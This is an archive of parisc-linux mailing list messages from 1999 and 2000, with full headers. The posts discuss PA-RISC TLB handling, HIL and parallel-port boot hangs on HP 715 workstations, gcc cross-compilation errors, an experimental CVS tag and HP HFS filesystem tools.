NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619014 1824 80.91.229.3 (22 Nov 2014 01:16:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:54 +0000 (UTC)
To: hppa-linux@thepuffingroup.com
Original-X-From: helgaas@helgaaspc.rsn.hp.com  Thu Mar 25 10:59:16 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id KAA20813
	for <hppa-linux@sod.res.cmu.edu>; Thu, 25 Mar 1999 10:59:15 -0500
Original-Received: (qmail 2660 invoked by uid 15267); 25 Mar 1999 15:58:06 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 2653 invoked from network); 25 Mar 1999 15:58:05 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 25 Mar 1999 15:58:05 -0000
Original-Received: from mailhost.rsn.hp.com (root@idiot.rsn.hp.com [15.99.200.11])
	by palrel3.hp.com (8.8.6 (PHNE_14041)/8.8.5tis) with ESMTP id HAA07484
	for <hppa-linux@thepuffingroup.com>; Thu, 25 Mar 1999 07:59:28 -0800 (PST)
Original-Received: from helgaaspc.rsn.hp.com (root@helgaaspc.rsn.hp.com [15.99.148.145])
	by mailhost.rsn.hp.com (8.8.6 (PHNE_14041)/8.8.6) with ESMTP id JAA04100
	for <hppa-linux@thepuffingroup.com>; Thu, 25 Mar 1999 09:59:01 -0600 (CST)
Original-Received: from helgaaspc.rsn.hp.com (helgaas@localhost [127.0.0.1])
	by helgaaspc.rsn.hp.com (8.8.7/8.8.7) with ESMTP id JAA07530
	for <hppa-linux@thepuffingroup.com>; Thu, 25 Mar 1999 09:59:01 -0600
Xref: news.gmane.org gmane.linux.ports.parisc:7594

>	Exact form of these tables is s/w convention. 
>
>Q.	If the format is software convention, does that mean
>	the fields within TLB slots are not defined by Hardware ?

There is no architectural definition of hardware TLB miss handling,
and most PA-RISC processors do not implement it.

On the ones that do support hardware TLB miss handling, the hardware
expects a certain format, and it is essentially the one given in the
examples in the architecture books.  The hardware TLB walker expects
a hash table of PDIR entries (indexed by a function of the space and
offset), and it only looks at the entries in the table.  Hash collisions
are resolved by a linked list, and the hardware does not walk the list;
this is left for the software miss handler.


From - Thu Nov 08 21:12:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Brian S. Julin" <bri@mojo.calyx.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HIL support on 715/old ?
Date: Wed, 19 Jul 2000 16:45:15 -0400 (EDT)
Lines: 13
Approved: news@gmane.org
Message-ID: <Pine.BSO.4.21.0007191640530.18782-100000@mojo.calyx.net>
References: <20000719103952.18203.qmail@web510.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619015 1827 80.91.229.3 (22 Nov 2014 01:16:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:55 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: bri@mojo.calyx.net  Wed Jul 19 14:43:45 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA09839
	for <parisc-linux@puffin.external.hp.com>; Wed, 19 Jul 2000 14:43:44 -0600
Original-Received: (qmail 22967 invoked by uid 15267); 19 Jul 2000 20:45:28 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22917 invoked from network); 19 Jul 2000 20:45:26 -0000
Original-Received: from mail.calyx.net (qmailr@208.132.136.19)
  by mailserv2.iuinc.com with SMTP; 19 Jul 2000 20:45:26 -0000
Original-Received: (qmail 26771 invoked from network); 19 Jul 2000 16:45:14 -0400
Original-Received: from mojo.calyx.net (HELO mojo) (cynpnztnppfgnw5mg06a@208.132.136.2)
  by mail.calyx.net with SMTP; 19 Jul 2000 16:45:14 -0400
In-Reply-To: <20000719103952.18203.qmail@web510.mail.yahoo.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7595


I haven't had the time yet to look at the code, which
I really honestly truthfully do hope to work on :-),
but someone at some point fixed it for the 715/64,
which meant changing HIL_BASE.  Someone else mentioned
that there's no PCIish bus/device tree yet, so maybe they j
ust re#defined it rather than probing.  The 715/64 used to 
hang there and it was because the HIL_BASE was wrong.

--
Brian S. Julin



From - Thu Nov 08 21:12:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: 5116@telia.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HIL support on 715/old ?
Date: Thu, 20 Jul 2000 07:43:00 +0200 (CEST)
Lines: 17
Approved: news@gmane.org
Message-ID: <200007200543.HAA14216@zaphod.halden.lillfab.se>
References: <20000719103952.18203.qmail@web510.mail.yahoo.com>
Reply-To: 5116@telia.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619015 1831 80.91.229.3 (22 Nov 2014 01:16:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:55 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, Matthew Wilcox <matthew@wil.cx>
To: Ulrich Strelow <ulrich_strelow@yahoo.com>
Original-X-From: danne@zaphod.halden.lillfab.se  Wed Jul 19 23:41:27 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id XAA13188
	for <parisc-linux@puffin.external.hp.com>; Wed, 19 Jul 2000 23:41:26 -0600
Original-Received: (qmail 8138 invoked by uid 15267); 20 Jul 2000 05:43:07 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8125 invoked from network); 20 Jul 2000 05:43:05 -0000
Original-Received: from t2o70p88.telia.com (HELO zaphod.halden.lillfab.se) (62.20.148.208)
  by mailserv2.iuinc.com with SMTP; 20 Jul 2000 05:43:05 -0000
Original-Received: (from danne@localhost)
	by zaphod.halden.lillfab.se (8.9.3/8.9.3) id HAA14216;
	Thu, 20 Jul 2000 07:43:01 +0200
In-Reply-To: <20000719103952.18203.qmail@web510.mail.yahoo.com>
X-MIME-Autoconverted: from QUOTED-PRINTABLE to 8bit by puffin.external.hp.com id XAA13188
Xref: news.gmane.org gmane.linux.ports.parisc:7596

On 19 Jul, Ulrich Strelow wrote:

> 
> As I wrote earlier to this list ( see
> http://puffin.external.hp.com/mailing-lists/parisc-linux/2000/06-Jun/0018..html
> ) the linux-2.3-pre8 is not able to boot on a 715/old.
> It hangs during the initialization of the ASP chip. So
> I guess that HIL (which depends on ASP) is not working
> right now either.
It is the parallell port. I had the same problem last week. I have not
looked in to why, I just disabled it in .config

/Daniel
-- 
Daniel Engstrm - Lilla Fabriken AB - Technical Support
daniel@lillfab.se - Work related.  5116@telia.com - Private.


From - Thu Nov 08 21:12:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ingo Matthaes <imatthae@grc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Anonymous CVS out of sync ?
Date: Thu, 20 Jul 2000 09:05:08 +0200
Lines: 19
Approved: news@gmane.org
Message-ID: <20000720090508.A28972@grccd310.grc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619015 1835 80.91.229.3 (22 Nov 2014 01:16:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:55 +0000 (UTC)
To: lrisc-Linux <parisc-linux@thepuffingroup.com>
Original-X-From: imatthae@grc.hp.com  Thu Jul 20 01:03:32 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id BAA31533
	for <parisc-linux@puffin.external.hp.com>; Thu, 20 Jul 2000 01:03:32 -0600
Original-Received: (qmail 19569 invoked by uid 15267); 20 Jul 2000 07:05:13 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19561 invoked from network); 20 Jul 2000 07:05:13 -0000
Original-Received: from bbnrel4.net.external.hp.com (155.208.254.68)
  by mailserv2.iuinc.com with SMTP; 20 Jul 2000 07:05:13 -0000
Original-Received: from hpugrca.grc.hp.com (hpugrca.grc.hp.com [15.137.20.50])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP id 59228111EF
	for <parisc-linux@thepuffingroup.com>; Thu, 20 Jul 2000 09:05:11 +0200 (METDST)
Original-Received: from trillian.grc.hp.com (grccd310.grc.hp.com [15.139.202.109]) by hpugrca.grc.hp.com with ESMTP (8.8.6 (sendmail_886_v2)/8.7.3 SMKit7.01) id JAA19734 for <parisc-linux@thepuffingroup.com>; Thu, 20 Jul 2000 09:05:10 +0200 (METDST)
Original-Received: from marvin by trillian.grc.hp.com with local (Exim 3.12 #1 (Debian))
	id 13FAOK-0007kH-00
	for <parisc-linux@thepuffingroup.com>; Thu, 20 Jul 2000 09:05:08 +0200
Content-Disposition: inline
User-Agent: Mutt/1.2i
Xref: news.gmane.org gmane.linux.ports.parisc:7597

 Hi all,

I wasnt able to sync my tree with puffins since a couple of
days. Especially I am missing amodras binutils-2.10 commits.
I there a special tag for the latest changes ?


-- 
Ingo Matths                        Hewlett-Packard GmbH
Tel: ++49-2102-908-210              German Response Center
Fax: ++49-2102-907-934              Berliner Str. 111
Mailto: Ingo_Matthaes@hp.com        40880 Ratingen
                                    Germany

HP Unix/Linux Competency Center
Network and High AvailabilitY

OpenPGP fingerprint = 4298E7785FFD65DC8950 14E9F17F8CB5B611AA4A


From - Thu Nov 08 21:12:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Anonymous CVS out of sync ?
Date: Thu, 20 Jul 2000 18:23:38 +1000 (EST)
Lines: 20
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0007201806550.12268-100000@front.linuxcare.com.au>
References: <20000720090508.A28972@grccd310.grc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=X-UNKNOWN
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619015 1837 80.91.229.3 (22 Nov 2014 01:16:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:55 +0000 (UTC)
Cc: lrisc-Linux <parisc-linux@thepuffingroup.com>
To: parisc-linux@thepuffingroup.com
Original-X-From: alan@linuxcare.com.au  Thu Jul 20 02:22:13 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id CAA32571
	for <parisc-linux@puffin.external.hp.com>; Thu, 20 Jul 2000 02:22:12 -0600
Original-Received: (qmail 28157 invoked by uid 15267); 20 Jul 2000 08:23:57 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28127 invoked from network); 20 Jul 2000 08:23:55 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 20 Jul 2000 08:23:55 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id SAA24770;
	Thu, 20 Jul 2000 18:23:38 +1000
In-Reply-To: <20000720090508.A28972@grccd310.grc.hp.com>
X-MIME-Autoconverted: from QUOTED-PRINTABLE to 8bit by puffin.external.hp.com id CAA32571
Xref: news.gmane.org gmane.linux.ports.parisc:7598

On Thu, 20 Jul 2000, Ingo Matthaes wrote:

> I wasnt able to sync my tree with puffins since a couple of
> days. Especially I am missing amodras binutils-2.10 commits.
> I there a special tag for the latest changes ?

You've been peeking at the cvs commits? :-)  That should have told you
that the tag is "shared".

I wasn't going to make any public announcements here yet, as the PIC and
shared library stuff is still highly experimental (ie. doesn't work).
Don't switch to the "shared" tag unless you enjoy fixing bugs, and bugs of
the design variety rather than just simple typos/oversights.  For
instance, today I've been busy redoing the .plt handling which was
completely broken.

Alan Modra
-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:12:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge.Deller@ruhr-uni-bochum.de
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HIL support on 715/old ?
Date: Thu, 20 Jul 2000 16:27:06 +0200
Lines: 34
Approved: news@gmane.org
Message-ID: <00072016270600.11517@P100>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619016 1839 80.91.229.3 (22 Nov 2014 01:16:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:56 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: deller@gmx.de  Thu Jul 20 08:35:12 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA04445
	for <parisc-linux@puffin.external.hp.com>; Thu, 20 Jul 2000 08:35:10 -0600
Original-Received: (qmail 20590 invoked by uid 15267); 20 Jul 2000 14:36:53 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17226 invoked from network); 20 Jul 2000 14:33:21 -0000
Original-Received: from pop.gmx.net (HELO mail.gmx.net) (194.221.183.20)
  by mailserv2.iuinc.com with SMTP; 20 Jul 2000 14:33:21 -0000
Original-Received: (qmail 14981 invoked by uid 0); 20 Jul 2000 14:27:07 -0000
Original-Received: from pec-49-213.tnt7.me2.uunet.de (HELO P100) (149.225.49.213)
  by mail.gmx.net with SMTP; 20 Jul 2000 14:27:07 -0000
X-Mailer: KMail [version 1.1.61]
Xref: news.gmane.org gmane.linux.ports.parisc:7599

Hi Brian,

Am Wed, 19 Jul 2000 schrieb Brian S. Julin:
> I haven't had the time yet to look at the code, which
> I really honestly truthfully do hope to work on :-),

That would be great.
Since I'm moving to a new town, I won't have time in the next 2-3 weeks.

> but someone at some point fixed it for the 715/64,
> which meant changing HIL_BASE.

Yes, that was me. In the current code HILBASE refers to the variable hil_base
from drivers/gsc/hil.c. The address of the HIL-controller is
automatically set there by the detection routines.

> Someone else mentioned
> that there's no PCIish bus/device tree yet, so maybe they j
> ust re#defined it rather than probing.

No. The base-address is taken from the parisc-hw-tree. But maybe the choosen
interrupt-line is wrong for 715/old.
The HIL-bus itself has no PCIish tree (I mean: a list of the attached 
devices) yet.

> The 715/64 used to
> hang there and it was because the HIL_BASE was wrong.

Hmmm. ?
My 715/64 used to work with HIL-keyboard (keys come through, but the
translataion was wrong), but I haven't tested it in the last few weeks.

Helge Deller.


From - Thu Nov 08 21:12:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeff Towarnicki <jtowarnicki@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux]
Date: Thu, 20 Jul 2000 12:28:44 -0700 (PDT)
Lines: 50
Approved: news@gmane.org
Message-ID: <20000720192844.1065.qmail@web4802.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619016 1843 80.91.229.3 (22 Nov 2014 01:16:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:56 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: jtowarnicki@yahoo.com  Thu Jul 20 13:27:33 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA06929
	for <parisc-linux@puffin.external.hp.com>; Thu, 20 Jul 2000 13:27:33 -0600
Original-Received: (qmail 18105 invoked by uid 15267); 20 Jul 2000 19:29:18 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18026 invoked from network); 20 Jul 2000 19:29:14 -0000
Original-Received: from web4802.mail.yahoo.com (216.115.105.225)
  by mailserv2.iuinc.com with SMTP; 20 Jul 2000 19:29:14 -0000
Original-Received: from [216.209.107.76] by web4802.mail.yahoo.com; Thu, 20 Jul 2000 12:28:44 PDT
Xref: news.gmane.org gmane.linux.ports.parisc:7600

I am having problems compiling gcc.. I am following
the recipe but I get problems with include files not
being found... I think the problem is because the
include directive -I looks for include files in
"include.h"'s and not <include.h>'s.. this is the
error I get (after about 30 mins into the compiling of
gcc on a pIII 450:
(the include files are there.... in
/home/jeff/parisc/include... )

if anyone can point out something I am doing wrong
much appreciated.. thanks.. Jeff

-----------------------------------------------------

 /home/jeff/parisc/gcc-build/gcc/xgcc
-B/home/jeff/parisc/gcc-build/gcc/
-B/home/jeff/parisc//hppa1.1-linux/bin/ -c -g -O2 -I.
-I../../../gcc/libio   ../../../gcc/libio/iogetline.c
-o pic/iogetline.o; \
else true; fi
/home/jeff/parisc/gcc-build/gcc/xgcc
-B/home/jeff/parisc/gcc-build/gcc/
-B/home/jeff/parisc//hppa1.1-linux/bin/ -c -g -O2 -I.
-I../../../gcc/libio  ../../../gcc/libio/iogetline.c
In file included from
../../../gcc/libio/iogetline.c:26:
../../../gcc/libio/libioP.h:30:19: errno.h: No such
file or directory
In file included from ../../../gcc/libio/iolibio.h:1,
                 from ../../../gcc/libio/libioP.h:47,
                 from
../../../gcc/libio/iogetline.c:26:
../../../gcc/libio/libio.h:30:23: _G_config.h: No such
file or directory
../../../gcc/libio/iogetline.c:27:20: string.h: No
such file or directory
make[1]: *** [iogetline.o] Error 1
make[1]: Leaving directory
`/home/jeff/parisc/gcc-build/hppa1.1-linux/libio'
make: *** [all-target-libio] Error 2
[jeff@localhost gcc-build]$               



__________________________________________________
Do You Yahoo!?
Get Yahoo! Mail  Free email you can access from anywhere!
http://mail.yahoo.com/


From - Thu Nov 08 21:12:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeff Towarnicki <jtowarnicki@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] problems compiling..
Date: Thu, 20 Jul 2000 12:29:15 -0700 (PDT)
Lines: 50
Approved: news@gmane.org
Message-ID: <20000720192915.1112.qmail@web4802.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619016 1846 80.91.229.3 (22 Nov 2014 01:16:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:56 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: jtowarnicki@yahoo.com  Thu Jul 20 13:28:08 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA07011
	for <parisc-linux@puffin.external.hp.com>; Thu, 20 Jul 2000 13:28:07 -0600
Original-Received: (qmail 18752 invoked by uid 15267); 20 Jul 2000 19:29:49 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18685 invoked from network); 20 Jul 2000 19:29:45 -0000
Original-Received: from web4802.mail.yahoo.com (216.115.105.225)
  by mailserv2.iuinc.com with SMTP; 20 Jul 2000 19:29:45 -0000
Original-Received: from [216.209.107.76] by web4802.mail.yahoo.com; Thu, 20 Jul 2000 12:29:15 PDT
Xref: news.gmane.org gmane.linux.ports.parisc:7601

I am having problems compiling gcc.. I am following
the recipe but I get problems with include files not
being found... I think the problem is because the
include directive -I looks for include files in
"include.h"'s and not <include.h>'s.. this is the
error I get (after about 30 mins into the compiling of
gcc on a pIII 450:
(the include files are there.... in
/home/jeff/parisc/include... )

if anyone can point out something I am doing wrong
much appreciated.. thanks.. Jeff

-----------------------------------------------------

 /home/jeff/parisc/gcc-build/gcc/xgcc
-B/home/jeff/parisc/gcc-build/gcc/
-B/home/jeff/parisc//hppa1.1-linux/bin/ -c -g -O2 -I.
-I../../../gcc/libio   ../../../gcc/libio/iogetline.c
-o pic/iogetline.o; \
else true; fi
/home/jeff/parisc/gcc-build/gcc/xgcc
-B/home/jeff/parisc/gcc-build/gcc/
-B/home/jeff/parisc//hppa1.1-linux/bin/ -c -g -O2 -I.
-I../../../gcc/libio  ../../../gcc/libio/iogetline.c
In file included from
../../../gcc/libio/iogetline.c:26:
../../../gcc/libio/libioP.h:30:19: errno.h: No such
file or directory
In file included from ../../../gcc/libio/iolibio.h:1,
                 from ../../../gcc/libio/libioP.h:47,
                 from
../../../gcc/libio/iogetline.c:26:
../../../gcc/libio/libio.h:30:23: _G_config.h: No such
file or directory
../../../gcc/libio/iogetline.c:27:20: string.h: No
such file or directory
make[1]: *** [iogetline.o] Error 1
make[1]: Leaving directory
`/home/jeff/parisc/gcc-build/hppa1.1-linux/libio'
make: *** [all-target-libio] Error 2
[jeff@localhost gcc-build]$               



__________________________________________________
Do You Yahoo!?
Get Yahoo! Mail  Free email you can access from anywhere!
http://mail.yahoo.com/


From - Thu Nov 08 21:12:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Gyula Matics <mgyula@pi.satimex.tvnet.hu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HIL support on 715/old ?
Date: Fri, 21 Jul 2000 23:55:21 +0200
Lines: 14
Approved: news@gmane.org
Message-ID: <20000721235521.A6660@pi.satimex.tvnet.hu>
References: <20000719103952.18203.qmail@web510.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619017 1847 80.91.229.3 (22 Nov 2014 01:16:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:57 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: mgyula@pi.satimex.tvnet.hu  Fri Jul 21 15:53:37 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA05017
	for <parisc-linux@puffin.external.hp.com>; Fri, 21 Jul 2000 15:53:36 -0600
Original-Received: (qmail 26616 invoked by uid 15267); 21 Jul 2000 21:55:23 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26605 invoked from network); 21 Jul 2000 21:55:23 -0000
Original-Received: from pi.satimex.tvnet.hu (195.38.97.160)
  by mailserv2.iuinc.com with SMTP; 21 Jul 2000 21:55:23 -0000
Original-Received: by pi.satimex.tvnet.hu (Postfix, from userid 1000)
	id 8435C2F1C; Fri, 21 Jul 2000 23:55:21 +0200 (CEST)
User-Agent: Mutt/1.0.1i
In-Reply-To: <20000719103952.18203.qmail@web510.mail.yahoo.com>; from ulrich_strelow@yahoo.com on Wed, Jul 19, 2000 at 03:39:52AM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:7602

> As I wrote earlier to this list ( see
> http://puffin.external.hp.com/mailing-lists/parisc-linux/2000/06-Jun/0018.html
> ) the linux-2.3-pre8 is not able to boot on a 715/old.
> It hangs during the initialization of the ASP chip. So
> I guess that HIL (which depends on ASP) is not working
> right now either.

actually, the hang happens during parport initialization, when it tests
for ps2 (bi-directional) support.

It works fine without parport support.

Gyula


From - Thu Nov 08 21:12:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: your mail
Date: Sat, 22 Jul 2000 07:56:53 -0400
Lines: 19
Approved: news@gmane.org
Message-ID: <20000722075653.C22210@vodka.thepuffingroup.com>
References: <Pine.GSO.4.10.10007211305380.4421-100000@ux5.cso.uiuc.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619017 1848 80.91.229.3 (22 Nov 2014 01:16:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:57 +0000 (UTC)
Cc: willy@thepuffingroup.com, parisc-linux@thepuffingroup.com
To: borislav dzodzo <dzodzo@students.uiuc.edu>
Original-X-From: willy@thepuffingroup.com  Sat Jul 22 07:00:32 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id HAA29867
	for <parisc-linux@puffin.external.hp.com>; Sat, 22 Jul 2000 07:00:31 -0600
Original-Received: (qmail 15308 invoked by uid 15267); 22 Jul 2000 13:02:20 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15297 invoked from network); 22 Jul 2000 13:02:19 -0000
Original-Received: from ottawa.linuxcare.com (HELO vodka.thepuffingroup.com) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 22 Jul 2000 13:02:19 -0000
Original-Received: (from willy@localhost)
	by vodka.thepuffingroup.com (8.9.3/8.9.3) id HAA22374;
	Sat, 22 Jul 2000 07:56:53 -0400
X-Mailer: Mutt 0.95.4us
In-Reply-To: <Pine.GSO.4.10.10007211305380.4421-100000@ux5.cso.uiuc.edu>; from borislav dzodzo on Fri, Jul 21, 2000 at 01:06:33PM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:7603

On Fri, Jul 21, 2000 at 01:06:33PM -0500, borislav dzodzo wrote:
> hi i found some of your posts on 
> http://puffin.external.hp.com/mailing-lists/parisc-linux/2000/
> and i thought you might know if 
> there already exists a linux version of fsck for 
> under pa-risc for HFS (not apple but HewlettPackard).

HP's HFS is a BSD Fast Filesystem (FFS) derivative.  There are a few
minor differences, but they are very closely related.  By studying the
HP-specific magic numbers added to recent 2.3/4 series kernels, you should
have no problem making a fsck.ufs or fsck.ffs work on Linux.  If anyone
can find one, let me know, and a mkfs would also be useful to have.

> if not... could you please tell me where are some good specs on
> HFS so that i could write my own.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:12:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] problems compiling..
Date: Sun, 23 Jul 2000 22:03:08 -0700
Lines: 132
Approved: news@gmane.org
Message-ID: <200007240503.WAA21420@milano.cup.hp.com>
References: <20000720192915.1112.qmail@web4802.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619017 1854 80.91.229.3 (22 Nov 2014 01:16:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:57 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Jeff Towarnicki <jtowarnicki@yahoo.com>
Original-X-From: grundler@cup.hp.com  Sun Jul 23 22:59:34 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id WAA28020
	for <parisc-linux@puffin.external.hp.com>; Sun, 23 Jul 2000 22:59:34 -0600
Original-Received: (qmail 14355 invoked by uid 15267); 24 Jul 2000 05:01:25 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14347 invoked from network); 24 Jul 2000 05:01:24 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 24 Jul 2000 05:01:24 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id 5E0B7B43; Sun, 23 Jul 2000 22:01:07 -0700 (PDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
